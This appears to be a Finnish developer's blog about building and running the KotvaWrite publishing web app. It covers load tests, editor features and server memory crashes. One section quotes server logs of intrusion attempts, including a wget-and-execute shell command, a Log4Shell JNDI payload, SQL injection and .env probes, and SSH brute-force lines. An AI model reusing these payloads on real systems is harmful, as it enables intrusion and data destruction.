Erilaisia tilannetiedotteita, ennakkovaroituksia ym. olisi kerättävissä, muodostettavissa ja viestittävissä runsain määrin, sekä niiden hallintaa varten on monenlaisia sovellutuksia Linux-apuohjelmista websovelluksiin. Näiden käytettävyyttä ja sovellettavuutta selvitellään.

Asiakkaan ja käyttäjätunnuksellisten käyttäjien kannalta voisi olla hyödyksi, jos he saisivat jonkinlaista tuntumaa esim. siitä, minkälainen hetkellinen tilanne palvelimen tai palvelimien toiminnassa on. Tai abstraktiotasolla korkeammalta, julkaisusovelluksen joidenkin teosten tai niiden kirjoitusten runsaasti lisääntyneestä huomiosta ja seuraamuksista ennalta tiedon saanti voisi auttaa jonkinlaisessa valmistautumisessa.

Alustavaa selvittelyä sille, minkälaista mm. koodaamista se vaatii, että saa lähetettyä tekstiä kuvan kanssa mikrobloggauspalveluun, jossa kenties haluaa kertoa jostain julkaisemastaan. Ainakin Mastodonin ja Blueskyn käyttäjältä vaadittaisiin, että hänen täytyy tehdä sellaiseen käyttäjätunnus, tietenkin, minkä lisäksi hänen täytyy luoda sellaisen asetuksissa sovellus, johon koneellisesti (ohjelmistorajapinnan kautta) yhteyttä ottamalla viesti voidaan lähettää julkaistavaksi.

Sovelluksen luominen mikrobloggaus-palvelun asetuksissa ei sinänsä ole vaikea toimenpide, vaan lähinnä tarvitsee antaa sellaiselle jokin nimi, minkä jälkeen saa käyttöönsä apikeyn tai vastaavan, joka laitettaisiin talteen julkaisusovelluksen käyttäjäasetuksiin.

Esiselvittelyn yhteydessä tutustuttiin myös mikrobloggauspalveluiden kehittäjädokumentaatioihin, josko sellaiset on miten lukukelpoista ja jääkö paljonkin avoimia kysymyksiä. Ei sinänsä julkaisusovelluksen käyttäjän kannalta erityisen merkityksellistä, mutta joitakin voi kiinnostaa tarvittava koodin määrä näihin mikrobloggauspalveluihin postittamiseksi. Ohessa pari koodikatkelmaa, joista saanee hiukan tuntumaa.

Keskenään hyvin yhteen toimivilla kirjoituksien otsikoilla ja mainimage-kuvilla saa writing settejä käyttäessä luonnehdittua kirjoituksen sisältöä lukemaan vetoavasti. Mainimageilla voi myös esim. sävyttää vaikutelmaa, olla sarkastinen tai luoda johonkin samaan liittyvyyden tunnetta.

On sekä sellaisia selaimen lisäosia, joiden käyttöä voisi vahvasti suositella ja sellaisia, jotka voi tulla löytäneeksi, jos kokee, että sellaista haluaa käyttää. Näistä vahvasti suositeltavia olisivat esim. Snap Links (https://cpriest.github.io/SnapLinksPlus), jolla voi avata useita linkkejä kerralla ja optionaalisen vaihtoehtoisesti kopioida linkit leikepöydälle ja Gesturefy (https://github.com/Robbendebiene/Gesturefy), jolla voi määrittää hiirieleitä, joilla näppäröittää selaimen käyttöä. Sujuvoittaa tekemistä mukavasti, kun saa vaihdettua viereisellä välilehdelle muutaman pikselin verran hiirtä liikauttaen (samalla esim. hiiren oikean puoleista painiketta painaen). Molemmat saatavilla Firefox-selaimella sen lisäosa-hakemistosta (addons.mozilla.org).

Kirjoitetussa tekstissä olevien kielioppivirheiden ja muiden sanankäytöllisten lipsahdusten löytämisen avuksi on mahdollista asentaa selaimeen lisäosa, joka käy erillisen toisaanne käyttäjäksi rekisteröitymisen ja lisäosaan sisäänkirjautumisen jälkeen tarkistamaan tekstiä ja merkitsemään siihen, missä kohdin voisi olla jotain korjattavaa. Näitä ei tarvitse sen kummemmin konfiguroida tai säätää. Muutosehdotukset voi hyväksyä suoraan tekstieditorissa.

Jonkinlaisena porttiteoriana voi pitää sitä, että rekisteröityessään käyttäjäksi tuollaiseen palveluun, saattaa samalla tulla huomanneeksi, että ne tarjoavat muunkinlaisia toimintoja kuten tekoälyavusteinen tekstin generointi. Sellainen on tavallaan vastoin sitä, mitä tämän julkaisusovelluksen on ainakin alunperin ollut tarkoitus olla eli ensisijaisesti luodaan jotain itse, missä sitten esim. apuna ja/tai tarkistimena jotain täydentävää toiminnallisuutta tai ulkoista palvelua, jos sellaisia haluaa käyttää. Ei siitä varmaankaan pahasti sanomista tule, rajankäynninkin ollessa varsin haastavaa, sillä kirjoitetun esim. tekoälyinen uudelleenkirjoituttaminen on varsin lähellä kielenkääntämistä, jolle on jo laitettu erillinen ominaisuutensa käytettäväksi.

Taitto-ohjelma InDesign on mahdollistanut jo pitkän aikaa kaiken sen toiminnallisuuden kontrolloinnin ExtendScriptillä, joten tovi InDesignin ohjelmistorajapintaan tutustumisen jälkeen kävi selväksi, että sillähän tosiaan voi tehdä sen, mistä jo aiemmin visioi ja mikä ei ollut riittävän näppärää LaTeX-ladontajärjestelmällä. KotvaWrite Stories -projektin varmuuskopio (zip-paketti) sisältää kaiken oleellisen kirjoituksen InDesign-version luomiseen ja käytännössä ei tarvitsekaan kuin käynnistää InDesignissa yksi skripti, joka kysäisee ensin mistä hakemistosta oleelliset tiedostot löytyvät ja sitten se generoi teoksen toisenlaisen olomuodon saatavilla olevan aineiston ja tyylimäärittelyjen perusteella.

Kuva 1. Aukeama InDesign -taitto-ohjelmassa.
Kuva 2. Kokonainen, alunperin verkossa julkaistavaksi tarkoitettu esimerkkijulkaisu automaattisesti InDesignissa luotuna.

Manuaaliset kuormitustestit mukaan lukien KotvaWrite Stories kestää hyvin tavallista käyttöä ja vain yhdelläkin palvelimella toimiessaan sen voisi aivan hyvin jättää vaikka kuukaudeksi ilman erityisempää seurantaa, jos samanaikaiset käyttäjämäärät eivät ole aivan mahdottoman suuria. Tälle olettamukselle voivat aiheuttaa poikkeusta mystiset tapaukset, joiden yhteydessä virtuaalisen palvelimen (Linux) muistin ja levyn käyttö kasvavat hetkellisesti moninkertaiseksi, mikä sitten ns. kaataa sovelluspalvelimen, johon julkaisusovellus on asennettuna. Seuraukset eivät välttämättä ole kovinkaan kriittiset, sillä mahdollisesti kesken jääneet tallennukset tietokantaan ja tiedostoihin saa/saisi korjattua ja siistittyä semiautomaattisesti, minkä jälkeen riittää sovelluspalvelimen uudelleen käynnistäminen. Toisaalta, jos asiaan liittyy runsasta hakkerointikokeiluja, voivat jotkin käyttöjärjestelmätason resurssit olla lopuillaan kuten auki olevien tiedostojen määrä (eng. "files that are currently being reviewed or modified").

Käydessä silmäillen läpi käytössä olevan Linux-käyttöjärjestelmän ytimen logitiedostoa, voi sieltä tehdä huomiona, että muisti on päässyt totaalisesti loppumaan Java-prosessilta esim. 15.10.2022, 18.8.2022 ja 5.8.2022:

[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)

[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)

[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)

Jos vähän tarkempia ollaan, sovelluspalvelin, johon julkaisusovellus on asennettuna, on itse asiassa Java servlet container, jota ajetaan Java-virtuaalikoneessa (Java Virtual Machine, JVM) ja tähän liittyvälle Java-prosessille on konfiguroitavissa, missä rajoissa sen sallitaan käyttävän muistia. Monien kuormitustestien perusteella tietyt konfiguroinnit muistinkäyttöön liittyen ovat erittäin riittäviä - kunnes eivät sitten jostain syystä olekaan.

Linux-käyttöjärjestelmään, josta julkaisusovellus asennettuna löytyy, on erikseen asennettuna kaksi APM-agenttia (Application Performance Monitoring), jotka keräävät reaaliajassa monenlaista tietoa esim. käyttöjärjestelmän ja julkaisusovelluksen toiminnasta, mitä voi sitten tarkastella lukuisin eri tavoin APM-palveluiden webkäyttöliittymissä (käytössä saattaa olla esim. New Relic ja Datadog). Näihin muistin loppuminen -tapauksiin liittyen on aina käynyt selville yhtä ja samaa eli nettiliikenteen määrä ei ole ollut merkittävänä tekijänä sellaisella hetkellä, jolloin virtuaaliprosessin käyttö on moninkertaistanut esim. 20-kertaiseksi ja levyä käytetään ihmeelliseen runsaasti lyhyen ajan puitteissa. Tuollaisina hetkinä ei olekaan ollut mikään ihme, että julkaisusovelluksen toiminta esim. tietokantakyselyiden osalta vie aikaa normaalien millisekuntien sijaan yli kymmenen sekuntia.

Lisäksi käytössä on myös mm. Papertrail-palvelu, johon voi uudelleenohjata logittumaan logitietoa useista eri lähteistä kuten sovelluspalvelimelta ja käyttöjärjestelmältä, jolloin logitietoja ei tarvitse käydä lueskelemaan Linuxissa komentotulkin käytön tasolla, vaan niitäkin voi tarkastella yhdenlaisen webkäyttöliittymän kautta. Sieltä on selvinnyt mm. sellaista, että joku tai jotkut wannabe-hakkerit tms. ovat tehneet paljon jonkinlaista kähmäistä kokeilua päästäkseen käyttöjärjestelmän, sovelluspalvelimen tai julkaisusovelluksen suojauksista läpi. Tällaista on jatkunut koko vuoden 2022, mutta siinä ei ole kertaakaan ollut pyrkimystä aiheuttaa DDoS-hyökkäyksiä (Distributed Denial of Service) eli palvelun toiminnan estämistä, vaan kyse on ollut esim. hitaasta käyttäjätunnuksien ja salasanojen kokeiluista levittäytyneenä pitkälle ajanjaksolle, jolloin esim. per minuutti kokeiluja ei kuin muutaman kymmentä. Siis joka minuutti, joka tunti, joka päivä ja joka kuukausi. Eikö vain voisi tehdä kerralla jotain oikein?

Muistin loppumisen ajoittumisen syyn päättelemisen kannalta voisi olla mahdollista nähdä yhteyttä hakkerointikokeilujen ajoittumiselle sekunteja ennen muistin loppumista, mutta koska kyse on ollut virtuaalisen palvelimen käyttämisestä dedikoidun sellaisen sijaan eli samoja fyysisiä laiteresursseja käyttää enemmän kuin yksi datakeskuksen asiakas ja joskus laitteet voivat myös vioittua, voisi syynä olla myös jostain muusta kuin mitä voi tarkastella käytettävissä olevista logeista ja visualisoitua tietoa näyttävistä kojelaudoista. Erikseen tätä datakeskus-palveluntarjoajalta kysyttäessä vastaus oli kuitenkin kieltävä eli tapahtuma-aikaan ei sen mukaan ollut mitään mainittavaa poikkeavuutta.

Muitakin potentiaalisia syitä muistin loppumiselle ja muille erityisen poikkeaville ongelmille olisi kuin jo mainitut. On esim. sovelluspalvelimen olemista versioltaan uusinta paljon jäljessä ja sama pätee myös Javaan, jota serveripuolella ohjelmointikielenä käytetään. Sillekin on erilliset parametrisäätönsä, millä perustein sovelluspalvelin ja Java siistivät muistista pois sellaista, mille ei enää ole käyttöä, mutta ne jätetään usein vakioasetuksiinsa. Kaikki tämä on sinänsä ihan hallittavissa olevaa, mutta voi vaatia pitkäaikaista seurantaa ja testailua, että rajatapaukset saadaan esille.

Loppuosa tästä kirjoituksesta sisältää huomioita erään muistinloppumis -tapauksen jäljiltä. Ja jos tässä voi lähettää terveisiä julkaisusovelluksen ylläpitäjälle, mainittakoon, että sen verran voisi tehdä lisäkonfigurointia, etteivät IP-osoitteet näkyisi 127.0.0.1-tyyppisinä sovelluspalvelimen logeissa, vaan alkuperäisinä IP-osoitteina. Tosin, olikohan General Data Protection Regulationilla (GDPR) jotain sanottavaa tähän?

Runsaasti sisäänkirjautumisyrityksiä logitiedossa /var/log/messages:

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from 5.51.84.107 port 55716

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from 5.51.84.107 port 55716:11: Bye Bye [preauth]

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx 5.51.84.107 port 55716 [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from 195.88.87.19 port 53396

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from 195.88.87.19 port 53396:11: Bye Bye [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres 195.88.87.19 port 53396 [preauth]

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from 179.60.147.99 port 37284

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test 179.60.147.99 port 37284 [preauth]

Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from 193.106.191.50 port 49598

Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support 193.106.191.50 port 49598 [preauth]

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from 179.60.147.99 port 55870

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test 179.60.147.99 port 55870 [preauth]

Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from 92.255.85.69 port 26930:11: Bye Bye [preauth]

Muutamia epäilyttäviä logirivejä siellä täällä sovelluspalvelimen logitiedostoa localhost_access_log:

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477

127.0.0.1 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507

Muutama sata variaatiota pääsyn saamiseksi asentamattomaan webkäyttöliittymään:

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784

Pääsyoikeuden saamisen yrittämistä parametreja näpräämällä ja osoitteita arvailemalla:

127.0.0.1 - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.pl HTTP/1.1" 404 759

195.96.137.4 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791

82.99.217.202 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F­218.24.200.243­%3A8066%2FTomcatBypass­%2FY3D HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-­84EC-4BD59C6F17A7 HTTP/1.1" 404 787

Sovelluspalvelimen toisessa logissa (catalina) on toisinaan kuviteltujen heikkouksien kokeilua:

14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

       java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00­{0x01;0x993Z0x15e}­0x005/0x050x010x00...]. HTTP method names must be tokens

15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

   java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00­{0xe40x920x88{#{*<0xc80xec0xfc}­­l0x820x85\0xcc0x1a0xc0/­0x0050xc00x000x00...]. HTTP method names must be tokens

Virtuaalipalvelimen prosessorin kuormittuminen käyttöasteesta johtuen

Kun prosessoritehoja ei ole käytettävissä riittämiin, virtuaalipalvelimen vcpu-tason vaatimattomuuden vuoksi, alkaa sovelluspalvelimen kuormittuminen näkymään prosessorin käyttöasteessa, mikä on tässä visualisoitu Hetznerin webkäyttöliittymän tarjoamassa graafissa ja mistä voi lukea, että hetkelliset prosessorin käyttöasteet ovat olleet huomattavan paljon suurempia kuin mitä ne tavallisesti ovat.

Samaista kuormituksen tasoa voidaan luonnehtia myös mm. Datadog-monitorointipalvelussa ja mistä voi tässä tapauksessa lukea, kuinka kävijämäärien minuuttikohtainen lisääminen tuhannella ja taas tuhannella jne. ovat aiheuttaneet aina vain suuremman kuormituksen.

Liioiteltu kävijöiden jonouttaminen aiheuttaa viiveitä käsittelyyn

testisivu: kirjoitus parilla kymmenellä tekstikappaleella ja muutamalla kuvalla

sivulataukset: 8000 per minuutti

vcpu: 4

maxthreads: 3 - 4

selviytyvyys: kun useita kävijöitä ei olla valmiita ottamaan käsiteltäväksi kovinkaan paljoa kerralla, kävijät joutuvat odottamaan kauemmin käsiteltäväksi tulemistaan, mutta maxthreadsin lisääminen yhdelläkin voi riittää siihen, että vasteajat ehättävät stabilisoitumaan

Teoksien etusivuja voi latailla paljon kerralla

testisivu: teoksen etusivu, nelisenkymmentä kirjoitusta, jäsenneltynä muutamaan kirjoitusten kokoelmaan, näytettynä etusivun tyyppinä plain structure

sivulataukset: 10000 per minuutti

vcpu: 4

selviytyvyys: välimuistittamaton sivu käy latautumaan tasaisella n. 110 ms:n vasteajalla, kun kävijöitä max. 200 per sekunti

Samanaikainen kuva-uploadien käsittely aiheuttaa vasteaikoihin häilyntää

testisivu: teoksen etusivu, nelisenkymmentä kirjoitusta, jäsenneltynä muutamaan kirjoitusten kokoelmaan

samanaikaisuus: koko testin ajan sama virtuaalipalvelin ottaa vastaan ja skaalaa eri kokoihin kuvia, joiden koko pikseleinä 1920x1080

sivulataukset: 10000 per minuutti

vcpu: 4

selviytyvyys: vasteaikoihin tulee hiukan häilyntää, mutta enintään n. 40 sekuntia vasteaikaan vaikuttavasti, kun kävijöitä max. 200 per sekunti

Kirjoituksen kokoelmia ehditään latailla tuhansia minuutissa vähemmilläkin palvelinresursseilla

testisivu: kirjoituksen kokoelman kolmisenkymmentä kirjoitusta kerralla ladattuna

sivulataukset: 4000 per minuutti

vcpu: 4

selviytyvyys: vasteajat pysyvät kelpaavan matalina, mutta niissä on jatkuvaa häilyntää

Muutaman kymmentä tuhatta kirjoitusta ehditään latailemaan minuutissa prosessitehoa nostamalla

testisivu: kirjoitus parilla kymmenellä tekstikappaleella ja muutamalla kuvalla

sivulataukset: 35000 per minuutti

vcpu: 8

maxthreads: 140

selviytyvyys: kävijämäärien tasainen lisääminen nostattaa vasteaikoja varsin korreloivasti kirjoituksella, joka olisi ladattu yksittäin n. 80 ms:ssa, eivätkä vasteajat pääse stabiloitumaan, mutta 35000 sivulatausta per minuutti hyvällä 250 ms:n latausnopeuden keskiarvolla ei ole huono testitulos ollenkaan

Lähemmäs kymmenen tuhatta kirjoitusten kokoelmaa ehditään latailemaan prosessoritehoa nostamalla

testisivu: kirjoituksen kokoelman kolmisenkymmentä kirjoitusta kerralla ladattuna

sivulataukset: 4000 - 9000 per minuutti

vcpu: 8

selviytyvyys: vasteajat paranevat lähes 100 millisekuntia verrattuna vcpu-määrä 4:ää ja pysyttelevät jokseenkin stabiileina, pysyttäytyen sillä tasolla aina 7000 sivulatausmäärän per minuutti asti, mutta 8000 alkaa käymään jo hankalammaksi palvelimelle ja 9000 olikin sitten jo jokseenkin mahdotonta viedä testinä loppuun asti ilman odotusaikojen kasvamista suuriksi

Kävijämäärien tasainen lisääntyminen vaikeuttaa vasteaikojen stabiloitumista

testisivu: kirjoituksen kokoelman kymmenisen kirjoitusta kerrallaan ladattuna

sivulataukset: 10000 per minuutti

vcpu: 8

maxthreads: 140

selviytyvyys: vcpu-määrän tuplaaminen 4:stä mahdollistaa minuutin testin läpiviemisen, mutta kävijämäärien tasainen lisääminen nostattaa vasteaikoja varsin korreloivasti

Timeout-virheitä saa aikaan harkitsemattomalla konfiguroinnilla

testisivu: kirjoituksen kokoelman kymmenisen kirjoitusta kerrallaan ladattuna

vcpu: 4

selviytyvyys: kun Tomcat-palvelin on konfiguroitu harkitsemattomasti, se pääsee kuormittumaan pahanlaisesti, kun kävijät joutuvat asettumaan jonoon, jota ei ehditä kaikilta osin ottaa käsiteltäväksi

Tekstieditorikomponenttiin on tullut suhtauduttua pitkään jonkinlaisena riskinä, sillä sen kehittäjätaholta ei vaikuttanut olevan tulossa uudempaa versiota, vaikka sellaista olikin lupailtu jo useampi vuosi sitten. Versio 1.3.7 oli julkaistu syyskuussa 2019 ja seuraavan version ensimmäinen betaversio tuli julki vasta joulukuussa 2023. Siitä sitten vielä puolisen vuotta eteenpäin, sisältäen lisää muutoksia ja bugikorjauksia, ennen kuin siihen tohti suhtautua stabiilina päivityksenä, jota voisi kokeillakin. Eräs pitkäaikaisista ongelmista oli Undo-/Redo-toiminnon aiheuttama tekstieditorissa olevan sisällön meneminen sekaisin ja kursorin omituisesti väärin paikkoihin hypähtely. Tämä vaikuttaa olevan korjattu. Onneksi muita vastaavia ohjelmistokomponentteja ei ole monia, joten ei tullut vaihtaneeksi johonkin toiseen.

Kyseistä tekstieditorikomponenttia on hyödynnetty mm. sen laajennettavuuden osalta, sillä sille on kätevä valmistella uusia elementtejä kirjoituksissa käytettäväksi (mm. placeholderit) ja hyvin toimivat Undo/Redo ovat erittäin tärkeitä kirjoituksessa ollessa paljon erilaisia tyylittelyjä.

Kirjoituksien kokoelmat kirjoituksineen ja erikoissivut eivät ole ainoita asioita, joita teoksen etusivulla voi kohdata. Sideshow:ksi nimitetty ominaisuus mahdollistaa sijoittamaan etusivun laidan paikkeille eräänlaisen tietopaneelin, johon voi tuoda tietokyselyjen tuloksia eri tietokannoista, kirjoituksien listoja eri perustein, ajankohtaisuuksia toisaalla, mainoksia, interaktiivisia toimintoja ym.

Kuva 1. Käskytetty hakemaan viimeisempiä uutisia kahdesta eri API-palvelusta.
Kuva 2. Sideshow teoksen etusivulla, joka käyttää "Out of ink"-sisältölistaustyyppiä.
Kuva 3. Sideshow teoksen etusivulla, joka käyttää "Plain structure"-sisältölistaustyyppiä.

Editointioikeuksia on voinut antaa projektikohtaisesti julkaisusovelluksen instanssin käyttäjille jo pitkään, mutta kanssaeditoivien käyttäjien valinnan tekeminen vaatii laittamaan kokeelliset toiminnot hetkeksi käyttöön. Editoivan käyttäjän oikeudet ovat tarkasti esirajattuja CRUD-oikeuksia ja mahdollistavat lähes kaiken projektin editoimisen poislukien sen poistamisen. CRUD tulee sanoista Create, Read, Update ja Delete. Editoivan käyttäjän oikeudet eivät mahdollista käyttämään side projekteissa näkymiä kuten writing sending, file storing, AI image search ym. Myöskään adequate settejä ei pysty niillä oikeuksilla yhteiseditoimaan.

Sisäänkirjautumisen jälkeen saatavaa sessiokoodia jakamallakin voi jakaa käyttöoikeuksia, mutta tuolloin tulee antaneeksi oikeuden kaikkeen siihen, mitä kyseisellä käyttäjätunnuksella voi tehdä. Julkaisusovelluksen sisäisissä toiminnoissa on valmisteltuna mahdollisuus viestiä koneellisesti reaaliajassa kahdella eri päätelaitteella julkaisusovellusta käyttävien kesken, mutta sitä ei ole hyödynnetty yhteiskehittämisen tarkoituksessa.

Authors-merkinnät on myös vain aikeilua, jota ei saa käyttöön edes kokeelliset toiminnot päälle laittamalla. Ideana on ollut, että käyttäjä voi lisätä sekä omiinsa, että editointioikeudellisten projektien kirjoituksiin authoreita, joita hyödynnetään niissä yhteyksissä, joissa tekijöiden ym. tiedot tulevat näytettäväksi. Esim. kirjoituksien hienosäätö -näkymässä voisi lisätä contributors-placeholderin tekstiin, jonka perusteella kirjoituksen lopulliseen versioon sijoittuu mukaan author-tietoa. Toiminto tähän löytyy Tools-valikosta ("Functional embed: contributors"). Tämän placeholderin voi ALT-klikkauksella muuntaa tavalliseksi tekstiksi.

Näitä "authoreita" voi luoda käyttäjäasetuksien Authors-välilehdellä, sekä niitä voi tarvittaessa siirtää käyttäjältä toiselle. Niillä voi viestiä lukijoille siitä, minkälaisessa roolissa minkäkinlainen author on osallistunut kirjoituksen tai sen muiden osien tekemiseen. Myöhemmin myös kuvien käyttö mahdollista, mutta tässä vaiheessa nämä authorit vain tekstinä. Editointioikeudelliset käyttäjät eivät voi poistaa kirjoituksista kuin omia authoreitaan.

Nämä authorit ovat sillä tapaa löyhässä yhteydessä (eng. loose decoupling) kirjoituksiin, että relaatio niihin katkeaa, jos projekti ensin eksportoidaan ja sitten poistetaan muiden projektien joukosta. Varmuuskopion mukaan päätyy mukaan vain authorin nimen verran vihjettä, mutta toisaalta Usabilities-näkymässä tulee olemaan semiautomaattinen authoreita uudelleen kytkevä toiminto.

"Spacious"-tekstieditoinnissa yritetään emuloida vierekkäin ja allekkain aseteltuja sivuja käyttämällä monirivisiä, kooltaan muutettavia tekstikenttiä, joissa tekstiä juoksutetaan tekstiä kirjoittaessa automaattisesti niin moniin muihin tekstikenttiin kuin on tarpeen. Tekstikentältä toiselle pääsee myös näppäimistön nuolipainikkein. Jos tekstiin on liitetty kuvia tai muita liitettävissä olevia, ne säilyvät muuttumattona, vaikkei niitä tässä moodissa asetellakaan esille sen osoittamiseksi, että ne ovat kirjoitukseen liitettynä.

Huomioitavaa.. spacious-moodissa rajoituksena on ainakin toistaiseksi, että kirjasimena täytyy käyttää tasalevyistä sellaista, eikä tekstissä voi olla muotoiluja tai kuvia. Tekstiä ei myöskään voi kopioida näppärästi hiirellä siten, että ottaisi kerralla kopioitavaksi useammassa kuin yhdessä tekstikentässä olevaa sisältöä. Ensimmäisen tekstikentän alakulmassa on kokosäädin, jolla voi säätää kaikkien tekstikenttien kokoa esim. sellaisiksi, että tekstikenttinä on kaksi leveää ja korkeaa sellaista vierekkäin, kolme pitkulaista vierekkäin tai pienikokokoisia tekstikenttiä ruudukkomaisesti rivitettynä. Ylimääräiset tekstikentät poistetaan automaattisesti tai jos niitä tarvitaan lisää tekstin mahduttamiseksi, niitä lisätään. Selainikkunan koon säätämisellä saadaan lisää säätömahdollisuutta sille, kuinka monta tekstikenttää voidaan mahduttaa vierekkäin. Yhdelle riville mahtumattomat aloittavat uuden rivillisen tekstikenttiä.

Spacious-moodissa on mahdollisuus siirrättää tekstikappaleita eteen- tai taaksepäin sijoittamalla kursori jonkin tekstikappaleen kohdalle ja painamalla Ctrl-näppäimen kanssa nuolinäppäimillä ylös- tai alaspäin. Siirtyvä tekstikappale vaihtaa tällöin paikkaa viereisen kanssa. Tämä toiminto vahvistaa tuntumaa siitä, että teksti on yhtenäistä, sillä tekstikappale siirtyy tekstikenttien välillä siinä missä tekstikentän puitteissakin.

KotvaWrite Stories ja KotvaWrite Explanations (2017)

Olennaisin tavoite KotvaWritessa on ollut se, että lukuisia kirjallisten teosten asettelukokeiluja ja säätöjä pystyisi tekemään useita siinä määrin lyhyessä ajassa, että odottavan aika ei tuntuisi pitkältä ja että mielekkäisiin vaihtoehtoisiin päädyttäisiin vaivattoman tuntuisesti. Käytetty ladontajärjestelmä (XeTeX) ei kuitenkaan pysy mukana niin nopeassa tahdissa, mikä ohjasi merkittävästi tuotekehitystä sillä tapaa, että päädyttiin jakautumaan kahteen eri tuotelinjaan, joista toinen (KotvaWrite Stories) tuottaa HTML-pohjaisia teoksia monipuolisemmin tyylikeinoin ja toinen (KotvaWrite Explanations) tuottaa sekä PDF-, että HTML-pohjaisia teoksia, mutta aiempaa hieman rajatummin asettelu- ja säätökeinoin.

JDK 1.8, JPA, REST, EclipseLink, Eclipse, Visual Paradigm for UML, Foundation, Backgrid, Backbone, Underscore.js, SASS, jQuery, HTML5, CSS 2.1/3, MySQL, MariaDB, MongoDB, JavaScript, NoSQL, JNDI, Tomcat 8, Digital Ocean, Putty, Linux command line tools, TeX, LaTeX, XeLaTeX, Loadster, NeoLoad, New Relic, Datadog, Nginx, HAProxy, Parse API, UML, Git, JUnit, Photoshop, MySQL Workbench

Prosessi yhden kirjoituksen esikatselusivujen generoimiseksi

Java-pohjainen sovellus generoi .tex-tiedoston, josta se tuottaa xelatex.exeä tai pdflatex.exeä käyttäen .pdf-tiedoston, jonka sisältöön ja rakenteeseen vaikuttavat web-käyttöliittymässä tehdyt säädöt, annettu teksti ja melko harkitsemattomiin kohtiin sijoitetut kuvat. XeTex-ladontajärjestelmä laskee mahtuvuudet, sekä latoo tekstit ja kuvat. Toisinaan sen täytyy antaa tehdä laskelmiaan kahden kierroksen verran. Apache PDFBoxia käytetään luomaan yksittäisistä sivuista esikatselukuvat web-käyttöliittymässä tarkastelua varten.

KotvaWrite 2

Edelleen kyse verkkosovelluksesta, joka jämäköittää kirjamaisien, verkossa luettavien teoksien tuotantoprosessia. Palvelu koostuu neljästä osiosta, joissa voi ajatella tehtävän seuraavia asioita:

  • Teksteissä käytettävän aineiston sisääntuontia eri lähteistä.
  • Aineiston ja kirjoituksien järjestelyä.
